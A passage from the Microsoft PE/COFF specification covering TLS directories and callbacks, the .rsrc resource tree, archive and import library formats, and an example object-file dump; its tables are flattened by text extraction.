static TLS variable can be defined as follows, without using the Windows API:
__declspec (thread) int tlsFlag = 1;
To support this programming construct, the PE/COFF .tls section specifies the following
information: initialization data, callback routines for per-thread initialization and termination, and
the TLS index explained in the following discussion.
Note Statically declared TLS data objects can be used only in statically loaded image files.
This fact makes it unreliable to use static TLS data in a DLL unless you know that the DLL, or
anything statically linked with it, will never be loaded dynamically with the LoadLibrary API
function.
Executable code accesses a static TLS data object through the following steps:
1.
At link time, the linker sets the Address of Index field of the TLS Directory. This field points to
a location where the program will expect to receive the TLS index.
The Microsoft run-time library facilitates this process by defining a memory image of the TLS
Directory and giving it the special name “__tls_used” (Intel x86 platforms) or “_tls_used” (other
platforms). The linker looks for this memory image and uses the data there to create the TLS
Directory. Other compilers that support TLS and work with the Microsoft linker must use this same
technique.
2.
When a thread is created, the loader communicates the address of the thread’s TLS array
by placing the address of the Thread Environment Block (TEB) in the FS register. A pointer to the
TLS array is at the offset of 0x2C from the beginning of TEB. This behavior is Intel x86 specific.
3.
The loader assigns the value of the TLS index to the place indicated by the Address of Index
field.
4.
The executable code retrieves the TLS index and also the location of the TLS array.
5.
The code uses the TLS index and the TLS array location (multiplying the index by four and
using it as an offset to the array) to get the address of the TLS data area for the given program
and module. Each thread has its own TLS data area, but this is transparent to the program, which
doesn’t need to know how data is allocated for individual threads.
6.
An individual TLS data object is accessed as some fixed offset into the TLS data area.
The TLS array is an array of addresses that the system maintains for each thread. Each address
in this array gives the location of TLS data for a given module (.EXE or DLL) within the program.
The TLS index indicates which member of the array to use. (The index is a number, meaningful
only to the system that identifies the module).
6.7.1. The TLS Directory
The TLS Directory has the following format:
Offset
(PE32/PE32+)
Size
(PE32/PE3
2+)
Field
Description
0
4/8
Raw Data Start VA
(Virtual Address)
Starting address of the TLS template.
The template is a block of data used to
initialize TLS data. The system copies all
this data each time a thread is created,
so it must not be corrupted. Note that
this address is not an RVA; it is an
address for which there should be a
base relocation in the .reloc section.
4/8
4/8
Raw Data End VA
Address of the last byte of the TLS,
except for the zero fill. As with the Raw
Data Start VA, this is a virtual address,
not an RVA.
8/16
4/8
Address of Index
Location to receive the TLS index, which
the loader assigns. This location is in an
ordinary data section, so it can be given
a symbolic name accessible to the
program.
12/24
4/8
Address of Callbacks
Pointer to an array of TLS callback
functions. The array is null-terminated,
so if there is no callback function
supported, this field points to four bytes
set to zero. The prototype for these
functions is given below, in “TLS
Callback Functions.”
16/32
4
Size of Zero Fill
The size in bytes of the template, beyond
the initialized data delimited by Raw Data
Start VA and Raw Data End VA. The
total template size should be the same
as the total size of TLS data in the image
file. The zero fill is the amount of data
that comes after the initialized nonzero
data.
20/36
4
Characteristics
Reserved for possible future use by TLS
flags.
6.7.2. TLS Callback Functions
The program can provide one or more TLS callback functions (though Microsoft compilers do not
currently use this feature) to support additional initialization and termination for TLS data objects.
A typical reason to use such a callback function would be to call constructors and destructors for
objects.
Although there is typically no more than one callback function, a callback is implemented as an
array to make it possible to add additional callback functions if desired. If there is more than one
callback function, each function is called in the order its address appears in the array. A null
pointer terminates the array. It is perfectly valid to have an empty list (no callback supported), in
which case the callback array has exactly one member—a null pointer.
The prototype for a callback function (pointed to by a pointer of type PIMAGE_TLS_CALLBACK)
has the same parameters as a DLL entry-point function:
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
DWORD Reason,
PVOID Reserved
);
The Reserved parameter should be left set to 0. The Reason parameter can take the following
values:
Setting
Value
Description
DLL_PROCESS_ATTACH
1
New process has started, including the first thread.
DLL_THREAD_ATTACH
2
New thread has been created (this notification sent
for all but the first thread).
DLL_THREAD_DETACH
3
Thread is about to be terminated (this notification
sent for all but the first thread).
DLL_PROCESS_DETACH
0
Process is about to terminate, including the original
thread.
6.8. The .rsrc Section
Resources are indexed by a multiple level binary-sorted tree structure. The general design can
incorporate 2**31 levels. By convention, however, Windows NT uses three levels:
1
Type
2
Name
3
Language
A series of Resource Directory Tables relate all the levels in the following way: each directory
table is followed by a series of directory entries, which give the name or ID for that level (Type,
Name, or Language level) and an address of either a data description or another directory table. If
a data description is pointed to, then the data is a leaf in the tree. If another directory table is
pointed to, then that table lists directory entries at the next level down.
A leaf’s Type, Name, and Language IDs are determined by the path taken, through directory
tables, to reach the leaf. The first table determines Type ID, the second table (pointed to by the
directory entry in the first table) determines Name ID, and the third table determines Language ID.
The general structure of the .rsrc section is:
Data
Description
Resource Directory Tables (and
Resource Directory Entries)
A series of tables, one for each group of nodes in the
tree. All top-level (Type) nodes are listed in the first table.
Entries in this table point to second-level tables. Each
second-level tree has the same Type identifier but
different Name identifiers. Third-level trees have the
same Type and Name identifiers but different Language
identifiers.
Each individual table is immediately followed by directory
entries, in which each entry has: 1) a name or numeric
identifier, and 2) a pointer to a data description or a table
at the next lower level.
Resource Directory Strings
Two-byte-aligned Unicode™ strings, which serve as string
data pointed to by directory entries.
Resource Data Description
An array of records, pointed to by tables, which describe
the actual size and location of the resource data. These
records are the leaves in the resource-description tree.
Resource Data
Raw data of the resource section. The size and location
information in the Resource Data Descriptions delimit the
individual regions of resource data.
6.8.1. Resource Directory Table
Each Resource Directory Table has the following format. This data structure should be considered
the heading of a table, because the table actually consists of directory entries (see next section)
as well as this structure:
Offset
Size
Field
Description
0
4
Characteristics
Resource flags, reserved for future use;
currently set to zero.
4
4
Time/Date Stamp
Time the resource data was created by the
resource compiler.
8
2
Major Version
Major version number, set by the user.
10
2
Minor Version
Minor version number.
12
2
Number of Name
Entries
Number of directory entries, immediately
following the table, that use strings to
identify Type, Name, or Language
(depending on the level of the table).
14
2
Number of ID Entries
Number of directory entries, immediately
following the Name entries, that use
numeric identifiers for Type, Name, or
Language.
6.8.2. Resource Directory Entries
The directory entries make up the rows of a table. Each Resource Directory Entry has the
following format. Note that whether the entry is a Name or ID entry is indicated by the Resource
Directory Table, which indicates how many Name and ID entries follow it (remember that all the
Name entries precede all the ID entries for the table). All entries for the table are sorted in
ascending order: the Name entries by case-insensitive string, and the ID entries by numeric value.
Offset
Size
Field
Description
0
4
Name RVA
Address of string that gives the Type,
Name, or Language identifier, depending
on level of table.
0
4
Integer ID
32-bit integer that identifies Type, Name, or
Language.
4
4
Data Entry RVA
High bit 0. Address of a Resource Data
Entry (a leaf).
4
4
Subdirectory RVA
High bit 1. Lower 31 bits are the address of
another Resource Directory Table (the next
level down).
6.8.3. Resource Directory String
The Resource Directory String area consists of Unicode strings, which are word aligned. These
strings are stored together after the last Resource Directory Entry and before the first Resource
Data Entry. This minimizes the impact of these variable length strings on the alignment of the
fixed-size directory entries. Each Resource Directory String has the following format:
Offset
Size
Field
Description
0
2
Length
Size of string, not including length field itself.
2
Variable
Unicode String
Variable-length Unicode string data, word
aligned.
6.8.4. Resource Data Entry
Each Resource Data Entry describes an actual unit of raw data in the Resource Data area, and
has the following format:
Offset
Size
Field
Description
0
4
Data RVA
Address of a unit of resource data in the
Resource Data area.
4
4
Size
Size, in bytes, of the resource data pointed to
by the Data RVA field.
8
4
Codepage
Code page used to decode code point values
within the resource data. Typically, the code
page would be the Unicode code page.
12
4
Reserved (must be set to 0)
6.8.5. Resource Example
The resource example shows the PE/COFF representation of the following resource data:
TypeId#
NameId#
Language ID
Resource Data
1
1
0
00010001
1
1
1
10010001
1
2
0
00010002
1
3
0
00010003
2
1
0
00020001
2
2
0
00020002
2
3
0
00020003
2
4
0
00020004
9
1
0
00090001
9
9
0
00090009
9
9
1
10090009
9
9
2
20090009
When this data is encoded, a dump of the PE/COFF Resource Directory results in the following
output:
Offset
Data
0000:
00000000 00000000 00000000 00030000 (3 entries in this directory)
0010:
00000001 80000028
(TypeId #1, Subdirectory at offset 0x28)
0018:
00000002 80000050
(TypeId #2, Subdirectory at offset 0x50)
0020:
00000009 80000080
(TypeId #9, Subdirectory at offset 0x80)
0028:
00000000 00000000 00000000 00030000 (3 entries in this directory)
0038:
00000001 800000A0
(NameId #1, Subdirectory at offset 0xA0)
0040:
00000002 00000108
(NameId #2, data desc at offset 0x108)
0048:
00000003 00000118
(NameId #3, data desc at offset 0x118)
0050:
00000000 00000000 00000000 00040000 (4 entries in this directory)
0060:
00000001 00000128
(NameId #1, data desc at offset 0x128)
0068:
00000002 00000138
(NameId #2, data desc at offset 0x138)
0070:
00000003 00000148
(NameId #3, data desc at offset 0x148)
0078:
00000004 00000158
(NameId #4, data desc at offset 0x158)
0080:
00000000 00000000 00000000 00020000 (2 entries in this directory)
0090:
00000001 00000168
(NameId #1, data desc at offset 0x168)
0098:
00000009 800000C0
(NameId #9, Subdirectory at offset 0xC0)
00A0:
00000000 00000000 00000000 00020000 (2 entries in this directory)
00B0:
00000000 000000E8
(Language ID 0, data desc at offset 0xE8
00B8:
00000001 000000F8
(Language ID 1, data desc at offset 0xF8
00C0:
00000000 00000000 00000000 00030000 (3 entries in this directory)
00D0:
00000001 00000178
(Language ID 0, data desc at offset 0x178
00D8:
00000001 00000188
(Language ID 1, data desc at offset 0x188
00E0:
00000001 00000198
(Language ID 2, data desc at offset 0x198
00E8:
000001A8 (At offset 0x1A8, for TypeId #1, NameId #1,
Language id #0
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
00F8:
000001AC (At offset 0x1AC, for TypeId #1, NameId #1,
Language id #1
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0108:
000001B0 (At offset 0x1B0, for TypeId #1, NameId #2,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0118:
000001B4 (At offset 0x1B4, for TypeId #1, NameId #3,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0128:
000001B8 (At offset 0x1B8, for TypeId #2, NameId #1,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0138:
000001BC (At offset 0x1BC, for TypeId #2, NameId #2,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0148:
000001C0 (At offset 0x1C0, for TypeId #2, NameId #3,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0158:
000001C4 (At offset 0x1C4, for TypeId #2, NameId #4,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0168:
000001C8 (At offset 0x1C8, for TypeId #9, NameId #1,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0178:
000001CC (At offset 0x1CC, for TypeId #9, NameId #9,
Language id #0
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0188:
000001D0 (At offset 0x1D0, for TypeId #9, NameId #9,
Language id #1
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0198:
000001D4 (At offset 0x1D4, for TypeId #9, NameId #9,
Language id #2
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
The raw data for the resources follows:
01A8:
00010001
01AC:
10010001
01B0:
00010002
01B4:
00010003
01B8:
00020001
01BC:
00020002
01C0:
00020003
01C4:
00020004
01C8:
00090001
01CC:
00090009
01D0:
10090009
01D4:
20090009
7. Archive (Library) File Format
The COFF archive format provides a standard mechanism for storing collections of object files.
These collections are frequently referred to as “libraries” in programming documentation.
The first eight bytes of an archive consist of the file signature. The rest of the archive consists of a
series of archive members, as follows:
1
The first and second members are “linker members.” Each has of these members has its own
format as described in Section 8.3. Typically, a linker places information into these archive
members. The linker members contain the directory of the archive.
2
The third member is the longnames member. This member consists of a series of null-
terminated ASCII strings, in which each string is the name of another archive member.
3
The rest of the archive consists of standard (object-file) members. Each of these members
contains the contents of one object file in its entirety.
An archive member header precedes each member. The following illustration shows the general
structure of an archive:
Signature :”!<arch>\n”
Header
1st Linker Member
Header
2nd Linker Member
Header
Longnames Member
Header
Contents of OBJ File 1
(COFF format)
Header
Contents of OBJ File 2
(COFF format)
.
Header
Contents of OBJ File N
(COFF format)
Figure 4. Archive File Structure
7.1. Archive File Signature
The archive file signature identifies the file type. Any utility (for example, a linker) expecting an
archive file as input can check the file type by reading this signature. The signature consists of the
following ASCII characters, in which each character below is represented literally, except for the
newline (\n) character:
S!<arch>\n
7.2. Archive Member Headers
Each member (linker, longnames, or object-file member) is preceded by a header. An archive
member header has the following format, in which each field is an ASCII text string that is left
justified and padded with spaces to the end of the field. There is no terminating null character in
any of these fields.
Each member header starts on the first even address after the end of the previous archive
member.
Offset
Size
Field
Description
0
16
Name
Name of archive member, with a slash (/) appended
to terminate the name. If the first character is a slash,
the name has a special interpretation, as described
below.
16
12
Date
Date and time the archive member was created:
ASCII decimal representation of the number of
seconds since 1/1/1970 UCT.
28
6
User ID
ASCII decimal representation of the user ID.
34
6
Group ID
ASCII group representation of the group ID.
40
8
Mode
ASCII octal representation of the member’s file
mode.
48
10
Size
ASCII decimal representation of the total size of the
archive member, not including the size of the header.
58
2
End of Header
The two bytes in the C string “‘\n”.
The Name field has one of the formats shown in the following table. As mentioned above, each of
these strings is left justified and padded with trailing spaces within a field of 16 bytes:
Contents of Name Field
Description
Name/
The field gives the name of the archive member directly.
/
The archive member is one of the two linker members. Both of
the linker members have this name.
//
The archive member is the longname member, which consists of
a series of null-terminated ASCII strings. The longnames member
is the third archive member, and must always be present even if
the contents are empty.
The name of the archive member is located at offset n within the
longnames member. The number n is the decimal representation
of the offset. For example: “\26” indicates that the name of the
archive member is located 26 bytes beyond the beginning of
longnames member contents.
7.3. First Linker Member
The name of the first linker member is “\”. The first linker member, which is included for backward
compatibility, is not used by current linkers but its format must be correct. This linker member
provides a directory of symbol names, as does the second linker member. For each symbol, the
information indicates where to find the archive member that contains the symbol.
The first linker member has the following format. This information appears after the header:
Offset
Size
Field
Description
0
4
Number of Symbols
Unsigned long containing the number of
symbols indexed. This number is stored in big-
endian format. Each object-file member
typically defines one or more external symbols.
4
4 * n
Offsets
Array of file offsets to archive member headers,
in which n is equal to Number of Symbols. Each
number in the array is an unsigned long stored
in big-endian format. For each symbol named in
the String Table, the corresponding element in
the Offsets array gives the location of the
archive member that contains the symbol.
*
*
String Table
Series of null-terminated strings that name all
the symbols in the directory. Each string begins
immediately after the null character in the
previous string. The number of strings must be
equal to the value of the Number of Symbols
fields.
The elements in the Offsets array must be arranged in ascending order. This fact implies that the
symbols listed in the String Table must be arranged according to the order of archive members.
For example, all the symbols in the first object-file member would have to be listed before the
symbols in the second object file.
7.4. Second Linker Member
The second linker member has the name “\” as does the first linker member. Although both the
linker members provide a directory of symbols and archive members that contain them, the
second linker member is used in preference to the first by all current linkers. The second linker
member includes symbol names in lexical order, which enables faster searching by name.
The first second member has the following format. This information appears after the header:
Offset
Size
Field
Description
0
4
Number of Members
Unsigned long containing the number of
archive members.
4
4 * m
Offsets
Array of file offsets to archive member
headers, arranged in ascending order. Each
offset is an unsigned long. The number m is
equal to the value of the Number of Members
field.
*
4
Number of Symbols
Unsigned long containing the number of
symbols indexed. Each object-file member
typically defines one or more external
symbols.
*
2 * n
Indices
Array of 1-based indices (unsigned short)
which map symbol names to archive member
offsets. The number n is equal to Number of
Symbols. For each symbol named in the
String Table, the corresponding element in the
Indices array gives an index into the Offsets
array. The Offsets array, in turn, gives the
location of the archive member that contains
the symbol.
*
*
String Table
Series of null-terminated strings that name all
the symbols in the directory. Each string
begins immediately after the null byte in the
previous string. The number of strings must
be equal to the value of the Number of
Symbols fields. This table lists all the symbol
names in ascending lexical order.
7.5. Longnames Member
The name of the longnames member is “\\”. The longnames member is a series of strings of
archive member names. A name appears here only when there is insufficient room in the Name
field (16 bytes). The longnames member can be empty, though its header must appear.
The strings are null-terminated. Each string begins immediately after the null byte in the previous
string.
8. Import Library Format
Traditional import libraries, i.e., libraries that describe the exports from one image for use by
another, typically follow the layout described in 7. Archive (Library) File Format. The primary
difference is that import library members contain pseudo-object files instead of real ones, where
each member includes the section contributions needed to build the Import Tables described in
Section 6.4 The .idata Section. The linker generates this archive while building the exporting
application.
The section contributions for an import can be inferred from a small set of information. The linker
can either generate the complete, verbose information into the import library for each member at
the time of the library’s creation, or it can write only the canonical information to the library and let
the application that later uses it generate the necessary data on-the-fly.
In an import library with the long format, a single member contains the following information:
Archive member header
File header
Section headers
Data corresponding to each of the section headers
COFF symbol table
Strings
In contrast a short import library is written as follows:
Archive member header
Import header
Null-terminated import name string
Null-terminated DLL name string
This is sufficient information to accurately reconstruct the entire contents of the member
at the time of its use.
8.1. Import Header
The import header contains the following fields and offsets:
Offset
Size
Field
Description
0
2
Sig1
Must be IMAGE_FILE_MACHINE_UNKNOWN.
See Section 3.3.1, “Machine Types, ” for more
information.
2
2
Sig2
Must be 0xFFFF.
4
2
Version
6
2
Machine
Number identifying type of target machine. See
Section 3.3.1, “Machine Types, ” for more
information.
8
4
Time-Date Stamp
Time and date the file was created.
12
4
Size Of Data
Size of the strings following the header.
16
2
Ordinal/Hint
Either the ordinal or the hint for the import,
determined by the value in the Name Type field.
18
2 bits
Type
The import type. See Section 8.2 Import Type
for specific values and descriptions.
3 bits
Name Type
The Import Name Type. See Section 8.3.
Import Name Type for specific values and
descriptions.
11 bits
Reserved
Reserved. Must be zero.
This structure is followed by two null-terminated strings describing the imported symbol’s name,
and the DLL from which it came.
8.2. Import Type
The following values are defined for the Type field in the Import Header:
Constant
Value
Description
IMPORT_CODE
0
The import is executable code.
IMPORT_DATA
1
The import is data.
IMPORT_CONST
2
The import was specified as CONST in the .def
file.
These values are used to determine which section contributions must be generated by the tool
using the library if it must access that data.
8.3. Import Name Type
The null-terminated import symbol name immediately follows its associated Import Header. The
following values are defined for the Name Type field in the Import Header, indicating how the
name is to be used to generate the correct symbols representing the import:
Constant
Value
Description
IMPORT_ORDINAL
0
The import is by ordinal. This indicates that the value
in the Ordinal/Hint field of the Import Header is the
import’s ordinal. If this constant is not specified, then
the Ordinal/Hint field should always be interpreted as
the import’s hint.
IMPORT_NAME
1
The import name is identical to the public symbol
name.
IMPORT_NAME_NOPREFIX
2
The import name is the public symbol name, but
skipping the leading ?, @, or optionally _.
IMPORT_NAME_UNDECORATE
3
The import name is the public symbol name, but
skipping the leading ?, @, or optionally _, and
truncating at the first @.
Appendix: Example Object File
This section describes the PE/COFF object file produced by compiling the file HELLO2.C, which
contains the following small C program:
main()
{
foo();
}
foo()
{
}
The commands used to compile HELLO.C (with debug information) and generate this example
were the following (the -Gy option to the compiler is used, which causes each procedure to be
generated as a separate COMDAT section):
cl -c -Zi -Gy hello2.c
link -dump -all hello2.obj >hello2.dmp
Here is the resulting file HELLO2.DMP: (The reader is encouraged to experiment with various
other examples, in order to clarify the concepts described in this specification.)
Dump of file hello2.obj
File Type: COFF OBJECT
FILE HEADER VALUES
14C machine (i386)
7 number of sections
3436E157 time date stamp Sat Oct 04 17:37:43 1997
2A0 file pointer to symbol table
1E number of symbols
0 size of optional header
0 characteristics
SECTION HEADER #1
.drectve name
0 physical address
0 virtual address
26 size of raw data
12C file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
100A00 flags
Info
Remove
1 byte align
RAW DATA #1
00000000 2D 64 65 66 61 75 6C 74 | 6C 69 62 3A 4C 49 42 43 -default|lib:LIBC
00000010 20 2D 64 65 66 61 75 6C | 74 6C 69 62 3A 4F 4C 44 -defaul|tlib:OLD
00000020 4E 41 4D 45 53 20 NAMES
Linker Directives
-----------------
-defaultlib:LIBC
-defaultlib:OLDNAMES
SECTION HEADER #2
.debug$S name
0 physical address
0 virtual address
5C size of raw data
152 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
42100048 flags
No Pad
Initialized Data
Discardable
1 byte align
Read Only
RAW DATA #2
00000000 02 00 00 00 11 00 09 00 | 00 00 00 00 0A 68 65 6C ........|.....hel
00000010 6C 6F 32 2E 6F 62 6A 43 | 00 01 00 05 00 00 00 3C lo2.objC|.......<
00000020 4D 69 63 72 6F 73 6F 66 | 74 20 28 52 29 20 33 32 Microsof|t (R) 32
00000030 2D 62 69 74 20 43 2F 43 | 2B 2B 20 4F 70 74 69 6D -bit C/C|++ Optim
00000040 69 7A 69 6E 67 20 43 6F | 6D 70 69 6C 65 72 20 56 izing Co|mpiler V
00000050 65 72 73 69 6F 6E 20 31 | 31 2E 30 30 ersion 1|1.00
SECTION HEADER #3
.text name
0 physical address
0 virtual address
A size of raw data
1AE file pointer to raw data
1B8 file pointer to relocation table
1C2 file pointer to line numbers
1 number of relocations
3 number of line numbers
60501020 flags
Code
Communal; sym= _main
16 byte align
Execute Read
RAW DATA #3
00000000 55 8B EC E8 00 00 00 00 | 5D C3 U‹ìè....|].
RELOCATIONS #3
Symbol Symbol
Offset Type Applied To Index Name
-------- ---------------- ----------------- -------- ------
00000004 REL32 00000000 13 _foo
LINENUMBERS #3
Symbol index: 8 Base line number: 2
Symbol name = _main
00000003( 3) 00000008( 4)
SECTION HEADER #4
.debug$S name
0 physical address
0 virtual address
30 size of raw data
1D4 file pointer to raw data
204 file pointer to relocation table
0 file pointer to line numbers
2 number of relocations
0 number of line numbers
42101048 flags
No Pad
Initialized Data
Communal (no symbol)
Discardable
1 byte align
Read Only
RAW DATA #4
00000000 2A 00 0B 10 00 00 00 00 | 00 00 00 00 00 00 00 00 *.......|........
00000010 0A 00 00 00 03 00 00 00 | 08 00 00 00 01 10 00 00 ........|........
00000020 00 00 00 00 00 00 01 04 | 6D 61 69 6E 02 00 06 00 ........|main....
RELOCATIONS #4
Symbol Symbol
Offset Type Applied To Index Name
-------- ---------------- ----------------- -------- ------
00000020 SECREL 00000000 8 _main
00000024 SECTION 0000 8 _main
SECTION HEADER #5
.text name
0 physical address
0 virtual address
5 size of raw data
218 file pointer to raw data
0 file pointer to relocation table
21D file pointer to line numbers
0 number of relocations
2 number of line numbers
60501020 flags
Code
Communal; sym= _foo
16 byte align
Execute Read
RAW DATA #5
00000000 55 8B EC 5D C3 U‹ì].
LINENUMBERS #5
Symbol index: 13 Base line number: 7
Symbol name = _foo
00000003( 8)
SECTION HEADER #6
.debug$S name
0 physical address
0 virtual address
2F size of raw data
229 file pointer to raw data
258 file pointer to relocation table
0 file pointer to line numbers
2 number of relocations
0 number of line numbers
42101048 flags
No Pad
Initialized Data
Communal (no symbol)
Discardable
1 byte align
Read Only
RAW DATA #6
00000000 29 00 0B 10 00 00 00 00 | 00 00 00 00 00 00 00 00 ).......|........
00000010 05 00 00 00 03 00 00 00 | 03 00 00 00 01 10 00 00 ........|........
00000020 00 00 00 00 00 00 01 03 | 66 6F 6F 02 00 06 00 ........|foo....
RELOCATIONS #6
Symbol Symbol
Offset Type Applied To Index Name
-------- ---------------- ----------------- -------- ------
00000020 SECREL 00000000 13 _foo
00000024 SECTION 0000 13 _foo
SECTION HEADER #7
.debug$T name
0 physical address
0 virtual address
34 size of raw data
26C file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
42100048 flags
No Pad
Initialized Data
Discardable
1 byte align
Read Only
RAW DATA #7
00000000 02 00 00 00 2E 00 16 00 | 33 E1 36 34 01 00 00 00 ........|3á64....
00000010 22 65 3A 5C 62 62 74 5C | 74 6F 6F 6C 73 5C 76 63 "e:\bbt\|tools\vc
00000020 35 30 5C 62 69 6E 5C 78 | 38 36 5C 76 63 35 30 2E 50\bin\x|86\vc50.
00000030 70 64 62 F1 pdb.
COFF SYMBOL TABLE
000 00000000 DEBUG notype Filename | .file
hello2.c
002 00000000 SECT1 notype Static | .drectve
Section length 26, #relocs 0, #linenums 0, checksum 0
004 00000000 SECT2 notype Static | .debug$S
Section length 5C, #relocs 0, #linenums 0, checksum 0
006 00000000 SECT3 notype Static | .text
Section length A, #relocs 1, #linenums 3, checksum 0, selection 1
(pick no duplicates)
008 00000000 SECT3 notype () External | _main
tag index 0000000A size 0000000A lines 000001C2 next function 00000013
00A 00000000 SECT3 notype BeginFunction | .bf
line# 0002 end 00000015
00C 00000003 SECT3 notype .bf or.ef | .lf
00D 0000000A SECT3 notype EndFunction | .ef
line# 0004
00F 00000000 SECT4 notype Static | .debug$S
Section length 30, #relocs 2, #linenums 0, checksum 0, selection 5
(pick associative Section 3)
011 00000000 SECT5 notype Static | .text
Section length 5, #relocs 0, #linenums 2, checksum 0, selection 1
(pick no duplicates)
013 00000000 SECT5 notype () External | _foo
tag index 00000015 size 00000005 lines 0000021D next function 00000000
015 00000000 SECT5 notype BeginFunction | .bf
line# 0007 end 00000000
017 00000002 SECT5 notype .bf or.ef | .lf
018 00000005 SECT5 notype EndFunction | .ef
line# 0008
01A 00000000 SECT6 notype Static | .debug$S
Section length 2F, #relocs 2, #linenums 0, checksum 0, selection 5
(pick associative Section 5)
01C 00000000 SECT7 notype Static | .debug$T
Section length 34, #relocs 0, #linenums 0, checksum 0
String Table Size = 0x0 bytes
Summary
BB .debug$S
34 .debug$T
26 .drectve
F .text
Here is a hexadecimal dump of HELLO2.OBJ:
hello2.obj:
00000000 4c 01 07 00 57 e1 36 34 a0 02 00 00 1e 00 00 00 L...W.64........
00000010 00 00 00 00 2e 64 72 65 63 74 76 65 00 00 00 00 .....drectve....
00000020 00 00 00 00 26 00 00 00 2c 01 00 00 00 00 00 00 ....&...,.......
00000030 00 00 00 00 00 00 00 00 00 0a 10 00 2e 64 65 62 .............deb
00000040 75 67 24 53 00 00 00 00 00 00 00 00 5c 00 00 00 ug$S........\...
00000050 52 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 R...............
00000060 48 00 10 42 2e 74 65 78 74 00 00 00 00 00 00 00 H..B.text.......
00000070 00 00 00 00 0a 00 00 00 ae 01 00 00 b8 01 00 00 ................
00000080 c2 01 00 00 01 00 03 00 20 10 50 60 2e 64 65 62 ........ .P`.deb
00000090 75 67 24 53 00 00 00 00 00 00 00 00 30 00 00 00 ug$S........0...
000000a0 d4 01 00 00 04 02 00 00 00 00 00 00 02 00 00 00 ................
000000b0 48 10 10 42 2e 74 65 78 74 00 00 00 00 00 00 00 H..B.text.......
000000c0 00 00 00 00 05 00 00 00 18 02 00 00 00 00 00 00 ................
000000d0 1d 02 00 00 00 00 02 00 20 10 50 60 2e 64 65 62 ........ .P`.deb
000000e0 75 67 24 53 00 00 00 00 00 00 00 00 2f 00 00 00 ug$S......../...
000000f0 29 02 00 00 58 02 00 00 00 00 00 00 02 00 00 00 )...X...........
00000100 48 10 10 42 2e 64 65 62 75 67 24 54 00 00 00 00 H..B.debug$T....
00000110 00 00 00 00 34 00 00 00 6c 02 00 00 00 00 00 00 ....4...l.......
00000120 00 00 00 00 00 00 00 00 48 00 10 42 2d 64 65 66 ........H..B-def
00000130 61 75 6c 74 6c 69 62 3a 4c 49 42 43 20 2d 64 65 aultlib:LIBC -de
00000140 66 61 75 6c 74 6c 69 62 3a 4f 4c 44 4e 41 4d 45 faultlib:OLDNAME
00000150 53 20 02 00 00 00 11 00 09 00 00 00 00 00 0a 68 S .............h
00000160 65 6c 6c 6f 32 2e 6f 62 6a 43 00 01 00 05 00 00 ello2.objC......
00000170 00 3c 4d 69 63 72 6f 73 6f 66 74 20 28 52 29 20 .<Microsoft (R)
00000180 33 32 2d 62 69 74 20 43 2f 43 2b 2b 20 4f 70 74 32-bit C/C++ Opt
00000190 69 6d 69 7a 69 6e 67 20 43 6f 6d 70 69 6c 65 72 imizing Compiler
000001a0 20 56 65 72 73 69 6f 6e 20 31 31 2e 30 30 55 8b Version 11.00U.
000001b0 ec e8 00 00 00 00 5d c3 04 00 00 00 13 00 00 00 ......].........
000001c0 14 00 08 00 00 00 00 00 03 00 00 00 01 00 08 00 ................
000001d0 00 00 02 00 2a 00 0b 10 00 00 00 00 00 00 00 00 ....*...........
000001e0 00 00 00 00 0a 00 00 00 03 00 00 00 08 00 00 00 ................
000001f0 01 10 00 00 00 00 00 00 00 00 01 04 6d 61 69 6e ............main
00000200 02 00 06 00 20 00 00 00 08 00 00 00 0b 00 24 00 .... .........$.
00000210 00 00 08 00 00 00 0a 00 55 8b ec 5d c3 13 00 00 ........U..]....
00000220 00 00 00 03 00 00 00 01 00 29 00 0b 10 00 00 00 .........)......
00000230 00 00 00 00 00 00 00 00 00 05 00 00 00 03 00 00 ................
00000240 00 03 00 00 00 01 10 00 00 00 00 00 00 00 00 01 ................
00000250 03 66 6f 6f 02 00 06 00 20 00 00 00 13 00 00 00 .foo.... .......
00000260 0b 00 24 00 00 00 13 00 00 00 0a 00 02 00 00 00 ..$.............
00000270 2e 00 16 00 33 e1 36 34 01 00 00 00 22 65 3a 5c ....3.64...."e:\
00000280 62 62 74 5c 74 6f 6f 6c 73 5c 76 63 35 30 5c 62 bbt\tools\vc50\b
00000290 69 6e 5c 78 38 36 5c 76 63 35 30 2e 70 64 62 f1 in\x86\vc50.pdb.
000002a0 2e 66 69 6c 65 00 00 00 00 00 00 00 fe ff 00 00 .file...........
000002b0 67 01 68 65 6c 6c 6f 32 2e 63 00 00 00 00 00 00 g.hello2.c......
000002c0 00 00 00 00 2e 64 72 65 63 74 76 65 00 00 00 00 .....drectve....
000002d0 01 00 00 00 03 01 26 00 00 00 00 00 00 00 00 00 ......&.........
000002e0 00 00 00 00 00 00 00 00 2e 64 65 62 75 67 24 53 .........debug$S
000002f0 00 00 00 00 02 00 00 00 03 01 5c 00 00 00 00 00 ..........\.....
00000300 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 .............tex
00000310 74 00 00 00 00 00 00 00 03 00 00 00 03 01 0a 00 t...............
00000320 00 00 01 00 03 00 00 00 00 00 00 00 01 00 00 00 ................
00000330 5f 6d 61 69 6e 00 00 00 00 00 00 00 03 00 20 00 _main......... .
00000340 02 01 0a 00 00 00 0a 00 00 00 c2 01 00 00 13 00 ................
00000350 00 00 00 00 2e 62 66 00 00 00 00 00 00 00 00 00 .....bf.........
00000360 03 00 00 00 65 01 00 00 00 00 02 00 00 00 00 00 ....e...........
